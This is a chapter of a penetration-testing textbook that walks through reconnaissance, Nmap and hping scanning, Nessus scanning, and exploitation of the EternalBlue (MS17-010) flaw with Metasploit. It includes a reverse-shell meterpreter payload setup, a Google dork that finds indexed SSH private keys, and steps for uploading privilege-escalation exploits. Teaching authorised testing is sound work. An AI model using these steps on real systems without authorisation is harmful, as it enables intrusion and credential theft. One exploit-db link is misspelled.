Penetration tests are best carried out by a third-party vendor instead of internal personnel to offer a hawk eye view of the network environment. Different tools are utilized in a penetration test, but the performance of this type of test relies upon the skill of the tester. The tester ought to have an experience in information technology, along with the capability of thinking in an abstract way. The penetration tester should also be capable of anticipating a real threat actor’s bad intentions.

Types of network penetration testing

A network penetration test can be of many different types. In this section, we will do a side-by-side comparison of different kinds of network pen tests, their applicability, and their advantages and drawbacks.

External penetration testing versus internal penetration testing

What's the difference between external versus an internal pentesting? External penetration testing checks out a company’s current state of publicly available information or its externally-facing assets. The assessment group attempts to take advantage of the vulnerabilities they identified while screening organization's publicly available information, or it attempts to gain access to the data via external-facing assets, like company emails, cloud-hosted applications, and websites.

For example, an external pen test is usually executed from a remote location and can attempt to do any or all of the following:


	Breach an organization’s perimeter firewall

	Attempt to use public and exclusive information gathered from leaked data

	Collect open-source intelligence (OSINT)

	Use exclusively developed tools to find vulnerabilities and exploit them

	Crack passwords



These are usually the attack surface areas that a malicious hacker might attempt to exploit externally.

On the other hand, in internal penetration tests, the testers are provided with some legitimate access to company assets (for example, network). These tests will additionally try to find internal vulnerabilities. Under this simulation, a pen tester represents a malicious actor or an ill-intended staff member/employee with a certain level of legit access to the company’s inner network.

These situations role-play what could possibly happen when a rogue worker, contractor, or cybercriminal masquerading as a staff member try to hack the organization from within. Internal pen testers consider the impact of secret information being unwillingly revealed, modified, misused, or damaged. Then, they use that data to suggest better security controls over workers, such as enhancements to system privileges of access, vulnerable applications, and protocol abuse.

Safe test versus unsafe test

No matter how you spin it, welcoming hackers right into your organization to execute a penetration test really feels inherently risky. A great deal of points could go wrong, and several of those points might cause ravaging influences. In this section, we are going to clarify the top dangers of penetration testing and what you can do to minimize them. Most typical threats are data corruption risks and system stability issues, and it can affect systems directly and indirectly. Direct effect occurs when a targeted system acts in an unexpected and adverse way. The following are a couple of instances of direct impact to systems:


	Data corruption due to application security scanners

	Service and application crashes due to network vulnerability scanners or even exhaustive port scans

	Service and network equipment downtime



Although there is no such thing as a risk-free penetration test, a few steps can be taken to decrease the risk. Safe tests are usually done on production systems, where testers will take as many precautions as possible to reduce the chances of impact on customers/consumers. During safe tests, penetration testers are not supposed to run any exploit, scan, attacks that may cause any system error or outage or access PII data saved on servers. Unsafe tests are just the opposite and are usually conducted on non-production systems. During unsafe tests, pen testers are usually allowed to go to any extent to prove a vulnerability. Although the core concept of safe and unsafe tests remains the same, this test flexibility always changes on a case-to-case basis. Hence, these conditions should always be formally documented and be agreed upon by the tester and test consumer before even starting up the penetration test.

Different phases of a network penetration test

Penetration testing process can be broken down into several stages:


	Footprinting and reconnaissance

	Scanning networks

	Enumeration

	Vulnerability analysis

	Exploitation

	Privilege escalation

	Lateral movement



From the next section of this chapter, we will be diving deep into these phases of penetration testing.

Footprinting and reconnaissance

In a penetration test, the footprinting stage permits the tester to collect information regarding internal and external security design. Collection of information also helps determine the vulnerabilities within a system, which can be exploited to gain access. The attacker focuses on the target by means of the range of IP address they have to go through to hack the target or relating to publicly exposed domain names.

Types of footprinting

The initial step to ethical hacking is footprinting. Footprinting is the collection of every possible piece of information pertaining to the target and target network. This collection of information assists in recognizing different possible ways to enter the target network. This information might have gathered via publicly-available personal information and via sensitive information from any secret resource. Normally, footprinting and reconnaissance is doing social engineering attacks, system or network attack, or through any other method to gain the maximum amount of information about the target. The purpose of this stage is to obtain information about the target without notifying the target in any way.

Pseudonymous/passive footprinting

Pseudonymous footprinting consists of footprinting via the internet sources. Basically, passive footprinting or pseudonymous footprinting is all about collecting data about a target without making the target owner aware in any way.

Active footprinting

Active footprinting is the procedure of using tools and techniques, such as executing a ping sweep or using the traceroute command, to gather information on a target. Active footprinting can set off a target's Intrusion Detection System (IDS) and might be logged, so it needs a degree of stealth to effectively do it.

Objectives of footprinting during network penetration test

The significant purposes of footprinting are:


	To know the target’s security stance

	To reduce focus area

	To draw a network map



Footprinting methodologies

It is not a big deal to get information about anyone using the internet, social media, main websites, and various other sources. It may have a lot of information regarding individuals, but the collection of information may meet the requirements of an attacker, and they can gather sufficient information with very little effort. The following are the commonly used strategies by hackers:


	Footprinting via WHOIS

	Footprinting via Shodan

	Footprinting via DNS

	Footprinting via search engines

	Footprinting via advanced Google hacking techniques



Footprinting through WHOIS

In this section, we will take a look at the WHOIS lookup. It is a protocol used to find the proprietors of internet sources, for instance, a domain name, a server, or an IP address. In this, we are, in fact, not performing any type of hacking; we are simply obtaining information from a database regarding the proprietors of stuff on the web.

WHOIS lookup on Kali Linux

Kali Linux has a built-in tool that allows us to do whois lookup straight from the command line. The following command will perform whois lookup for bing.com:
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Figure 7.1: Whois command in Kali Linux

As you can see, it has provided a lot of information about the domain bing.com. It gives us the registrant name, organization name, country, phone number, and so on, as shown in the following figure:
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Figure 7.2: Whois command in Kali Linux

It also provides us the name server information of bing.com:
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Figure 7.3: Whois command in Kali Linux

A name server is a server created to translate domain names into IP addresses. It handles queries from clients, like a computer system or mobile device, regarding the location of a domain name and its services on the DNS servers.

Websites that provide Whois information

Whois lookup for any domain can also be performed on several websites. If you google Whois lookup, you will see a lot of websites providing the services. The most popular one is http://whois.domaintools.com/. Here, if we enter our target domain name as bing.com and click on the Search button, we get a lot of information about our target website. We can see the e-mail address that we can use to contact the domain admin. Normally, we will be able to see the business's address that has registered the domain name, but we sometimes see that some company enforces privacy by hiding their details. If the firm is not utilizing any kind of personal privacy, we will be able to see their address and a lot more information about the actual firm.

Footprinting using the Onyphe tool

Onyphe (https://www.onyphe.io/) is a free online tool that provides a lot of other information about domains other than whois lookup. Users can search for the details of any domain on Onyphe with the Search option, as shown in Figure 7.4:
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Figure 7.4: Onyphe web GUI

As shown in the following screenshot, it has provided all the subdomains of bing.com and the IP ranges owned by the same domain owner:
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Figure 7.5: Onyphe output

Footprinting using Shodan

Shodan (https://www.shodan.io/) is an internet search engine for discovering specific devices and gadget types that exist online. The most popular searches are network camera, Linksys devices, Cisco devices, NETGEAR, SCADA, and so on.

It works by scanning the internet and parsing the banners that are returned by numerous devices. Using that information, Shodan can tell you things like what internet server (and versions) is most popular or how many confidential FTP servers exist in a particular region.

You can begin by navigating to the main page and entering your query in the Search field, like you would in any other search engine:
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Figure 7.6: Shodan output

From there, you can go to a couple of essential areas in the results. Beginning on the left sidebar, we see a good amount of data summary:

Results map:


	Top exposed services (ports)

	Top organizations (ISPs)

	Top operating system (OS)

	Top products (software name)



Then, in the main section, we get the full results list, including the following:


	IP address

	Hostname

	ISP

	When the entry was added to the database

	The geo-location

	The exposed service banner



Then, to get more information, you can click on Details, which takes you right into that host itself. Here, you can see the data about the host on the left side, the listing of ports that were found on top right, and the individual port information and banners from each port as you scroll down on the page.

Shodan can be a powerful tool when you are conducting external penetration testing. It can be used to find services exposed on the IP owned by the organization you are performing penetration tests for.

Footprinting through DNS

Generally, there is quite a lot of information stored in a DNS server’s related network, and there are many tools readily available to collect all this useful information from a targeted machine. DNS footprinting allows us to gather information around DNS zone data. This DNS zone data usually includes domain name, host names, IP addresses, and much more useful information about a particular network.

What does DNS do?

DNS belongs to the TCP/IP convention suite. It is responsible for mapping easy-to-use domain names (as an example, http://www.google.com) to its IP address (example, 142.250.182.228). A name server is a server with a huge database of these mappings. For pen testing, getting to DNS servers provides an overview of the organization's structure through a review of IP address and hostnames.

Utilizing the host command on Kali

The host command is included with many Linux distributions, including Kali Linux. To utilize host, type host, along with the domain name you are trying to find IP addresses for. Consider this example:
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Figure 7.7: Host command in Kali Linux

Figure 7.7 shows that the host command tells us that the domain name points to a server with IP 204.79.197.200.

Using NSLOOKUP for footprinting

NSLOOKUP is a tool that examines a DNS server for its host information. It's available on Linux, including Kali and Windows. NSLOOKUP is used to figure out whether DNS records are configured properly. To utilize it, open command line and run the nslookup command, as shown in Figure 7.8:
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Figure 7.8: nslookup

It will reveal a > sign and await to get in the IP address or the domain name server (address) of the DNS server that you need to discover around.

At that point, you'll need to understand the different types of DNS records that are available. Here are some of them:


	A Records points to a domain or subdomain of an IP address, for example, mapping 216.239.32.10 to google.com.

	CNAME allows a machine to be known by the hostnames indicated in the CNAME record. A CNAME, or Canonical Name record, is a record that points to another domain address rather than an IP address.

	MX or a mail exchanger record (MX record) specifies the mail server responsible for accepting e-mail messages on behalf of a domain name.

	NS represents name server, and the name server record indicates which DNS server is authoritative for that domain name (that is, which server consists of the actual DNS records). Primarily, NS records inform the internet where to visit to discover a domain's IP address.

	TXT records are a type of Domain Name System (DNS) record that contains text information for sources outside of your domain. You include these records in your domain name settings. You can use TXT records for various purposes. Google uses them to validate domain ownership and ensure e-mail security.



Now, we can start with the DNS record types:
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Figure 7.9: NSLOOKUP output


	Name of the server: bing.com.

	After name, you can see address of the server, which is 13.107.21.200.

	If you type set type=A and press Enter, you will get the result as shown in the following screenshot. It shows a DNS A record:




[image: ]

Figure 7.10: NSLOOKUP output showing A records

By default, the nslookup command inquires the DNS server for type A records.


	Type set type = MX and press Enter

	Then, type bing.com
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Figure 7.11: NSLOOKUP MX record

In the preceding screenshot, you see the mail server. This MX record means the website bing.com is having a mail exchange record. MX record or mail exchange record tells the mail delivery destination for a particular domain.

You can either request all DNS record types or determine a particular kind in the same manner.

Footprinting via search engines

One of the most standard alternatives that is also receptive is footprinting with search engines. You can open a web browser, and via any search engine like Google or Bing, look for any organization; the result usually accumulates all the information provided on the internet. Apart from this publicly offered information, websites and online search engine caches can serve the information that is not available at this moment, updated or modified on the main website.

You can collect a target’s neighborhood information, like the physical place of headquarters with the surrounding area, the location of branch workplaces, and other related information from the internet site and map services.

Some of these most preferred internet services are as follows:


	Google earth

	Google map

	Bing map

	Wikimapia

	Yahoo map

	Various other map and location services



Google hacking database (GHDB)

Google hacking, also known as Google Dorking, is a footprinting technique that locates the security flaws within a company's systems using Google search and other applications powered by Google. One example could be, if you enter the following string in Google search and press Enter, you should be able to see SSH private keys that were indexed:

intitle:index.of id_rsa -id_rsa.pub

Google hacking was popularized by Johnny Long. He classified the queries in a data source called Google Hacking Database (GHDB). This categorized database of queries is designed to reveal information. This information could be delicate and not publicly available. Google hacking is used to accelerate searches via www.exploit-db.com; you can browse GHDB. Enter the following URL:

https://www.exploit-db.tom/google-hatking-database/

Scanning networks

After the footprinting phase, you may have adequate information concerning the target. Now, the scanning network phase calls for some of this information to proceed additionally. Network scanning is a method of getting network information such as recognition of hosts, port information, and services by scanning networks and ports. The major objective of network scanning is to identify the following:


	Online hosts on a network

	Open and closed ports

	The presence of security devices like firewall

	OS information

	Services operating on a network

	System design

	Running services to identify vulnerabilities



Introduction to network scanning

The scanning network stage consists of probing the target network to get information. When a user probes a system, it can expose much beneficial information through the reply received. Extensive recognition of a network, ports, and running services aids in developing a network design, and the attacker obtains a clearer picture of the target.

Network communication

To understand how scanning works, we should understand how network communication happens. Internet Protocol or IP is a network layer protocol in the TCP/IP stack, and Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) are communication protocols in the transport layer of the TCP/IP stack. TCP is connection-oriented. Bidirectional communication takes place after an effective TCP link is establishment. UDP is an easier, connectionless Internet Protocol. Several messages are sent as packets in portions utilizing UDP. Unlike TCP, UDP adds no reliability, flow-control, or error-recovery features to IP packets. Due to the simplicity of UDP, UDP headers include less bytes and take in much less network overhead than TCP. The following layout shows the TCP header:
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Figure 7.12: TCP packet structure

Flag field in the TCP header is of 9 bits, which includes the following six TCP flags:


	SYN: Initiates a link between two hosts to facilitate interaction

	ACK: Acknowledge the receipt of a packet

	URG: Indicates that the data in the packet is urgent and needs to be processed quickly

	PSH: Instructs the sending out system to send out all buffered data quickly

	FIN: Tells the remote system about the end of the communication, gracefully shutting a connection

	RST: Resets a connection



There is three-way handshaking while establishing a TCP connection between hosts. This handshaking guarantees a successful, dependable, and connection- oriented session in between these hosts. The procedure of establishment of a TCP connection includes three actions, as shown in the following figure:
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Figure 7.13: TCP three-way handshake

Consider a client intends to interact with the server. A TCP connection develops when the client sends out a SYN packet to the server. The server, upon receipt of the SYN packet from the client, replies to the client with a SYN+ACK packet. The client replies with an ACK packet when it receives the SYN+ACK packet from the server, and after effective handshaking, it results in the establishment of a TCP connection.

Scanning using Nmap

Most network scanners discover exposed services on any system by exploiting the three-way handshake we discussed in the preceding section. Network Mapper (Nmap) is a free and open-source utility for network exploration and security auditing. It useful for tasks like network inventory, managing solution upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in unique ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what OSes (and OS variations) they are running, what sort of packet filters/firewalls are in use, and lots of various other attributes about a target. It was made to quickly scan huge networks, but it works fine against fewer hosts. Nmap works on all significant computer operating systems, and main binary packages are available for Linux, Windows, and macOS X.

TCP SYN (stealth) scan (-sS)

TCP SYN scan is a preferred and the default scan in Nmap as it executes swiftly, in contrast to various other scan kinds. Additionally, it is much less likely to get blocked by firewalls. The main principle behind this scan is TCP three-way handshake. TCP SYN scan calls for raw-packet that require root access, as shown in the following screenshot:
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Figure 7.14: Nmap syn scan

TCP SYN scan returns open ports that are three states like open, closed, and filtered, discussed as follows:


	Open state: NMAP identifies a port as open when it tries to establish a connection with the target by sending a TCP SYN packet. In this situation, the server sends out a SYN/ACK packets to establish the connection. This is the result that Nmap uses to identify whether the port is open. Nmap then resets the connection at the end.

	Close state: NMAP identifies a port as closed when a TCP SYN packet is sent out to the server, like the last time, and the server straightaway denies the connection with an RST packet due to the closed port.

	Filtered state: In the filtered state, server doesn't sends out a reply, not even an RST packet to terminate the connection. In a majority of cases, the precise factor can be a firewall on the server side that blocks the reply packets. So, Nmap decides this sort of ports as filtered.



Other things are that default SYN scan is inadequate for slip with a network with firewalls and intrusion prevention systems. It requires improved methods.

TCP connect scan

In the Nmap TCP connect scan, Nmap asks its operating network to establish a connection with the target server. However, the issue with this scan is that it requires more time to finish, and it needs to generate more packets to acquire the needed information. The main advantage of TCP connect scan is that targets are more probable to permit the connection because it attempts to establish a connection with the target, just like network-enabled applications such as web browsers.

Scanning IP ranges with Nmap

Scanning a range of IPs belonging to a Class C network is quite easy with Nmap, using a hyphen to define the range. Consider that your home network is a Class C network with IPs 192.168.0.X. The following example shows how you can scan a specific range of hosts within the Class C network, when the range goes from 1 to 30:

nmap 192.168.0.1-30

To scan a Class B network range, we can use the similar method implementing a hyphen in the last two octets. In the following example, the last two octets of the Class B network with IP 192.168.X.X will be scanned. For the third octet, we will scan the IP range 200-220, while for the fourth octet, we will define the range 80-120. Such a scan may take a while to end:

nmap 192.168.200-220.80-120

Scanning port range with Nmap

To scan a range of ports, we can use the hyphen to specify the range. For example, to scan ports 50 to 60, we can use the following command:

root@kali:~# nmap -p 50-60 192.168.5.102

Scanning UDP port (-sU)

While most popular services on the internet run over the TCP protocol, UDP services are also widely deployed. DNS, SNMP, and DHCP (registered ports 53, 161/162, and 67/68) are three of the most common protocols built over UDP. UDP scanning is usually slower and more difficult than TCP scanning, so some security auditors might ignore these ports. However, this could be a big mistake as exploitable UDP services are quite common, and attackers certainly don't ignore the entire protocol. Fortunately, Nmap can help invent exposed UDP ports on any target system:

root@kali:~# nmap -sU 10.0.2.15

Scanning using HPING tool

A decent alternative of Nmap is HPING. HPING is a command line-oriented TCP/IP packet crafter that can be used to create IP packets having TCP, UDP, or ICMP payloads. All header fields can be customized and controlled utilizing the command line. A good understanding of IP and TCP/UDP is required to utilize and comprehend the utility:
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Figure 7.15: HPING3 tool options in Kali Linux

HPING as a port scanner

Crafting TCP packets is the default behavior of HPING.

By specifying the TCP flags, a destination port, and a target IP address, one can easily construct TCP packets:


	-F --fin set FIN flag

	-S --syn set SYN flag

	-R --rst set RST flag

	-P --push set PUSH flag

	-A --ack set ACK flag

	-U --urg set URG flag

	-X --xmas set Xmas unused flag (0x40)

	-Y --ymas set Ymas unused flag (0x80)



The preceding list of scan types are useful in several scenarios that an attacker might encounter. A FIN scan (-F –fin) is when an attacker sends out a packet with only the FIN flag set. If the attacker sends the FIN packet to the target, it implies that the attacker is asking for the connection be terminated, but there was no prior established connection to shut. This would certainly puzzle the target. If the target does not react, it indicates that the port is open. If the target responds with an RST packet, the port on the target is shut.

Xmas scans obtain their name from the collection of flags that are set within a packet. This scan type is accomplished by sending out TCP segments with all possible flags embedded in the packet header, creating packets that are prohibited based upon RFC793. These scans are designed to manipulate the PSH, URG, and FIN flags of the TCP header and are useful for bypassing firewalls.

Producing a custom packet using TCP flags

Colasoft Packet Builder software enables the creation of customized network packets that can pass through the network for attacks. Modification can, likewise, be used to create fragmented packets. You can download the software from http://www.colasoft.com/:
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Figure 7.16: Colasoft packet builder GUI

Colasoft Packet Builder uses the Import and Export options for a collection of packets. You can also include a new packet by clicking on the Add button. Select the packet type from the dropdown. The offered options are as follows:


	ARP packet

	IP packet

	TCP packet

	UDP packet



Enumeration

Enumeration is specified as the process of extracting usernames, machine names, network resources, shares, and services from a system. In this phase, the attacker produces an active connection to the system and executes guided queries to gain more information about the target. The collected information is used to determine the vulnerabilities or weaknesses in system security and to try to exploit them in the exploitation phase.

There are various types of information that can be enumerated by an external attacker; some of them are listed as follows:


	Routing tables

	Applications and their banners

	Users and groups

	Machine/system names

	SNMP and DNS details

	Network resource and available shares



There are various techniques used by attackers to enumerate some of this information from a target network/system:


	Extracting usernames using email IDs

	Extracting usernames using SNMP

	Brute force active directory

	Extracting user groups from Windows

	Extracting information using DNS zone transfer



Enumeration is a vast subject itself. There are multiple tools and ways to enumerate the preceding listed attributes from a network. Here, we will take a look at some basic network and service enumeration techniques.

Service enumeration with Nmap tool

Nmap can perform version detection to aid in gathering more information on the services and applications working on the recognized open ports. This detection utilizes a variety of probes, documented in the nmap-services-probes documentation. Nmap queries the target host with the probe information and evaluates the action, comparing it with known/expected responses for a variety of services and applications.

Use the -sV command-line option to enable version discovery with your port scan. An example is shown in figure 7.17:
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Figure 7.17: Nmap version discovery scan output

OS fingerprinting

OS fingerprinting is all about the discovery of the target OS installed on an endpoint by analyzing the packets that originate from it. It is used by security professionals as well as hackers for remotely mapping any network and identifying vulnerabilities that may be present in the target.

In general, OS fingerprinting tool works just for packets that contain a full TCP three-way handshake packets, which we discussed earlier. This means the TCP connection should have at least a SYN, a SYN/ACK, and an ACK packet.

Some attributes within the TCP/IP protocol definition are left up to the implementation of the respective OSs. Various operating systems uses some unique defaults as the values of these attributes. By gathering and minutely inspecting these attributes and their values, we can identify the operating system that these packets been originated from. There are mainly two ways to accomplish this:


	Active OS fingerprinting: It involves actively figuring out a target's OS by sending crafted packets and examining the behavior of the received response packets.

	Passive OS fingerprinting: Passive OS fingerprinting is done by examining passively gathered packets from a target host. It is mainly based upon sniffer packet capture logs from the remote system. Note that, in passive fingerprinting, instead of actively probing the remote system, we record packets sent from the remote system and analyze them.



Now, we will look at a few tools that can be used to perform active and passive OS fingerprint.

Using Nmap, we issue the following command with the -O option to enable the active OS detection feature:

nmap -O 192.168.56.102

The p0f tool can be used for passive OS fingerprinting. We can use p0f to analyze a Wireshark capture file:

p0f -s /tmp/host.pcap -o result.log -l

Vulnerability analysis

Vulnerability analysis belongs to the scanning stage and is an important part of the hacking cycle. In this section, we will certainly talk about the concept of vulnerability assessment, vulnerability assessment phases, sorts of assessment, tools, and various other crucial elements.

Vulnerability assessment

Vulnerability assessment can be defined as a process of examination, exploration, and recognition of system and application security measures and weaknesses. The security measures of systems and applications are examined to determine the effectiveness of the released security layer to withstand attacks and abuses. Vulnerability assessment helps recognize the vulnerabilities that could be used, the need of additional security layers, and information that can be exposed using scanners.

Kinds of vulnerability assessments

The following are the different types of vulnerability assessments:


	Active assessments: Active assessment is the procedure of vulnerability assessment that includes actively sending requests to a target network and examining the response. In simple words, it is the procedure of assessment that calls for actively probing the target host. Most popular vulnerability assessment tools are active assessment tools that send probes to the target to discover vulnerabilities. Nessus is an example.

	Passive assessments: On the other hand, passive vulnerability assessment scanners give a non-invasive view of a network without sending any direct probe to the target. The preferred tool that performs passive vulnerability assessment is Nessus (https://www.tenable.com/sites/drupal.dmz.tenablesecurity.com/files/uploads/documents/whitepapers/PVS_Overview_0.pdf). Passive vulnerability scanner keeps an eye on network traffic at the packet layer to determine topology, services, and vulnerabilities and perform different types of correlation to identify the security vulnerabilities in any type of network.

	External assessment: Vulnerability assessments can also be categorized as external assessments. It is the procedure of assessment from a hacker’s point of view to find vulnerabilities to exploit them from outside.

	Internal assessment: This is one more method to locate vulnerabilities. Internal assessment consists of finding vulnerabilities by scanning the internal networks and infrastructure.



External and internal aren’t separate categories of vulnerability assessment. Mostly, they are similar tests conducted from different environments.

Before we get into vulnerability assessment, we must familiarize ourselves with a few basic terminologies associated with vulnerability assessment. These will help us identify the criticality of a vulnerability assessment report.

Common Vulnerability Scoring Systems (CVSS)

The Common Vulnerability Scoring System (CVSS) enables capturing the primary features of any vulnerability and a numerical rating showing its intensity/importance. The numerical rating can then be converted into a qualitative depiction (such as low, medium, high, and critical) to help organizations correctly evaluate and prioritize their vulnerability management program.

Common Vulnerabilities and Exposure (CVE)

Common Vulnerabilities and Exposure (CVE) is another system where you can find information about vulnerabilities. CVE maintains the listing of recognized vulnerabilities consisting of an identification number and a summary of the recognized security vulnerabilities. For example a CVE id CVE-2021-44228 was assigned to the very famous log4j vulnerability post discovery.

Vulnerability scanning

Discovering the vulnerabilities in a target system manually is not very effective. In this era of modern technology and advancement, discovering vulnerabilities in an existing system is simple using various tools. Numerous tools, automated as well as manual, are available to help you locate vulnerabilities. Vulnerability scanners are automated utilities that are specially developed to identify security issues and vulnerabilities in an operating system, a network, and a software application. These scanning tools perform in-depth examination of scripts, open ports, banners, running services, configurations errors, and various other attributes of a target system.

These vulnerability scanning tools include:


	Nessus

	OpenVAS

	Rapid7 - Nexpose

	Retina

	Qualys, and several various other tools



These tools are not just used by security experts but also by attackers to identify the loopholes in a company's operating environment. Now, we will look at the Nessus tool and understand how we can use Nessus to run a vulnerability scan.

Nessus vulnerability scanner

Nessus is a remote security scanning tool that checks a computer system and raises an alert if it uncovers any type of vulnerabilities that malicious hackers can use to gain access to any computer. It does this by running over 135000+ tests to see if any of these attacks could be utilized to gain access to a system or otherwise harm it. Installing Nessus is not really in the scope of this chapter, but you can easily learn it from widely available tutorials on YouTube and security-related blogs. For now let's understand how to initiate a network scan with nessus.


	When Nessus is installed on your system and the service is running, Nessus GUI should be accessed via web browser and should look like this:
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Figure 7.18: Nessus scan home page


	To run a new network scan, click on the Scans link:
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Figure 7.19: Nessus scan


	Then, you should see a New Scan button in the upper-right corner of the web GUI:
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Figure 7.20: Nessus new scan option


	Afterward, Nessus should present you with the available scan options. We will go for Basic Network Scan for now:
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Figure 7.21: Nessus scan option


	Once you select Basic Network Scan, you should land on a page where you have to provide all the scan details that you want to perform on the target network. In the Targets field, you need to provide the IP or the list of IPs you want to scan:
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Figure 7.22: Nessus scan target selection


	Nessus also allows you to perform regular vulnerability scans at certain intervals. You can explore that option from the Schedule option:
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Figure 7.23: Nessus scan scheduling


	Next, you can customize how Nessus will perform the scan by clicking on the DISCOVERY option in the left menu. You will see several options to customize port scan and protocol details:
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Figure 7.24: Nessus scan type selection

More details about configuring the discovery engine of the Nessus can be found on the official Nessus documentation available here:

https://docs.tenable.com/nessus/Content/DiscoverySettings.htm#Host-Discovery

https://docs.tenable.com/nessus/Content/DiscoverySettingsPreconfigured.htm


	Then, you have to click on the ASSESSMENT option, which will allow you select the type of vulnerability scan you are willing to perform on the target. It totally depends on the pen test requirement:
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Figure 7.25: Nessus web scan configuration

More details about configuring the way Nessus perform the assessment on a target can be found in the official documentation, which is available here:

https://docs.tenable.com/nessus/Content/AssessmentSettings.htm


	Nessus also supports authenticated scans, and you can set the credentials for authenticated scans in the Credentials tab:
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Figure 7.26: Nessus performing authenticated scan

Then, you have to select the plugin. Plugins are rules capable of sending the probe to a target and determining whether the target is vulnerable. You have to select the plugins before a scan as per your requirement:
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Figure 7.27: Nessus plugin selection


	Once you save the scan settings, Nessus will start sending a probe to the target you’ve defined, and once the scan is finished, it will present you with the report. Upon finishing the scan, the report dashboard should look something like this, where you can see the number summarized as Critical, High, Medium, and Low findings:
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Figure 7.28: Nessus scan result

You can find more details about the vulnerabilities in the Vulnerabilities tab. Vulnerability tabs will look something like figure 7.29:
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Figure 7.29: Nessus detailed vulnerability report




In the next phase, you will learn how to find exploits for the vulnerabilities identified by Nessus using Kali Linux and exploit them. To be specific, we will exploit the MS17-010 vulnerability (highlighted in red in figure 7.29) using Kali Linux.

Exploitation

In the exploitation phase, penetration testers try to exploit the security weaknesses actively. Exploits mean to compromise a system and gain access to its resources. To understand this phase really well, you need to have a good understanding of the network topology, as shown in figure 7.30:
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Figure 7.30: Sample network topology

As you can see, we have two target networks: Network A and Network B. The penetration testers only have access to Network A. We will perform our exploitation on a system that is part of Network A. The primary target will be 192.168.1.2. In the previous phase, we have already discovered that the system 192.168.1.2 is vulnerable to Eternalblue, as pointed out by Nessus in figure 7.29. In this phase, we will try to exploit that vulnerability and gain access to the target system.

Introduction to Metasploit Framework

We are now ready to perform the exploitation using the Metasploit framework. The Metasploit framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. To do that, let’s start Kali Linux. Once Kali Linux is started, open a terminal and run msfupdate to update Metasploit. This will update all the components to Metasploit to the latest version.

We will be running the exploits using the Metasploit console. We can use the following command to start the Metasploit framework console:

msfconsole
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Figure 7.31: Starting Metasploit console

Once Metasploit has started, the next step is to find the correct exploit for our target. We can check whether there is an existing exploit module to exploit EternalBlue or MS17-010. We can use the following command to search for our exploit in all available modules:

search ms17-010

The search result should look like the following image. As we can see in figure 7.32, we have two results:
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Figure 7.32: Searching for the correct exploit

The second result is the one we need in this case. Let’s find more information about the exploit. 

Run the following command to view a detailed description:

info exploit/windows/smb/ms17_010_eternalblue

We can use the use command to choose this module after selecting the exploit module, we can use "show options" command to view the mandatory information required for the exploit to run:
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Figure 7.33: Configuring exploit in Metasploit

From the output, we know that the target address (RHOST) has not been set. We have seen in the target network topology that the target VM is 192.168.1.2; we need to set the target in Metasploit to which the exploit will be delivered.

Another important exploit option is RPORT. For EternalBlue exploit, the RPORT is set to 445 by default as this is an SMB service exploit:
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Figure 7.34: Configuring exploit in Metasploit - setting target host

To perform the exploit, Metasploit also needs a payload. The payload is basically a Metasploit module that will be run after the exploit is successful. It basically allows an attacker to perform actions on the target system for their own benefit. It could be planting a backdoor port, adding a new user to the system, wiping the hard drive, or initiating a stealth connection back to the attacker, though which they will be able to interact with the target system.

The complete list of Metasploit payloads can be found by using following command:

show payloads

If no payload is selected, a default payload will be used. Here, we will manually set a payload windows/x64/meterpreter/reverse_tcp using the following command:

set payload windows/x64/meterpreter/reverse_tcp
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Figure 7.35: Configuring exploit in Metasploit – setting payload

A common concern that might arise is, when to use a bind shell and when to use a reverse shell. Bind TCP opens a port on the target's device. Normally, when a machine is behind a firewall (or NAT), firewalls usually don't allow ports besides a couple of popular ones (like 80, 443, 22, and so on). So, bind TCP is not helpful here. However, reverse TCP tries to connect to you (from the target machine back to attacker. Attackers open up a port and await the connection from victim). The attacking machine (yours) has a listener port on which it obtains the connection, after which command execution is accomplished.

Meterpreter is a metasploit payload that provides an interactive shell from which an attacker can explore the target machine and execute code.

The meterpreter in reverse TCP is a very powerful tool during an exploitation. This payload will be executed on the target system once the exploitation is successful. Once the payload code executes on the system, it will connect back to our Kali Linux box and provide us shell access to the target system. After setting the payload, run the show options command again:
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Figure 7.36: Configuring exploit in Metasploit

We have talked about reverse connection from target to our Kali Linux box. For that, we need to define our Kali Linux box IP in the payload option, which is LHOST. In figure 7.36, we can see that it’s empty. Let’s set the LHOST address so that the reverse TCP meterpreter will connect back to this address, which is pentester IP, in this case (192.168.1.3). Here, we just set it as the machine running the Kali Linux:
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Figure 7.37: Running exploit in Metasploit

Once this is done, we need to run the exploit by executing the following command:

exploit

The exploit is now successfully conducted, as shown in figure 7.37. The meterpreter has established a connection between the target machine and the Kali machine. Now, we can use meterpreter to perform many useful actions:
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Figure 7.38: Meterpreter session

From the result given by getuid (figure 7.38), we know that meterpreter is running as SYSTEM, which is the lowest level of Windows with the highest privilege. This perfectly shows how dangerous the EternalBlue exploit can be if employed by malicious hackers.

Privilege escalation

By default, the EternalBlue exploit gives us root privilege, but that may not be true for all other exploits. In cases where an exploit doesn’t give you root access, you may have to escalate privilege in the target system to do more fun things. Meterpreter has a command set that’s similar to the Linux shell with a great deal of additional capabilities. If you aren't on the target server as a root/admin account, you can use getuid to discover who you are and sysinfo to discover the specifications of the server. Despite the fact that meterpreter has an integrated command, getsystem, to acquire root level access, it generally does not function.

Knowing the system you are working on really well

A majority of the privilege escalation methods are based on exploits of operating systems. So, we must first discover the target system's kernel or OS version, like Windows Server 2013 R2, Ubuntu 16.04, or Linux kernel 4.4.

Discovering the right exploit

Once we have enough information about the target system we are in, we can look for privilege escalation techniques for that specific system. Exploit-db is a good resource for that. After discovering the exploit (normally found as source code in C or C++), you must compile it. The biggest trouble is that you are running Kali Linux and might need to compile it as a Windows executable. Even though mingw allows you do cross-compile, you will require lots of headers needed for compiling the exploit from source. One helpful option is to run Windows in a virtual machine, compile the source on with your favorite compiler (for example, Visual Studio), and transfer it on Kali box. For some exploits, you can utilize pre-compiled executable of the exploit. However, you need to ensure that you are grabbing them from reliable and trust worthy sources and repositories.

Upload the exploits to the target machine

Once we have the privilege escalation exploit ready, we need to upload it to the target. The preferred way is meterpreter; it allows you to easily upload files to the machine or download files from a device. We can upload our exploit with the following command (as shown in figure 7.39):

upload "exploit location in our device" "target area at target equipment".
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Figure 7.39: Uploading files using meterpreter

Since you have limited access to the system, utilizing a directory that belongs to a current user is a reliable option to upload files.

After uploading the exploit, we have to execute it on the target system. But before we do that, we need to understand how it’s going to give us privileged access to the system. You can read the source code or any documentation if available. Some exploits generate a shell, several of them just run as a command.

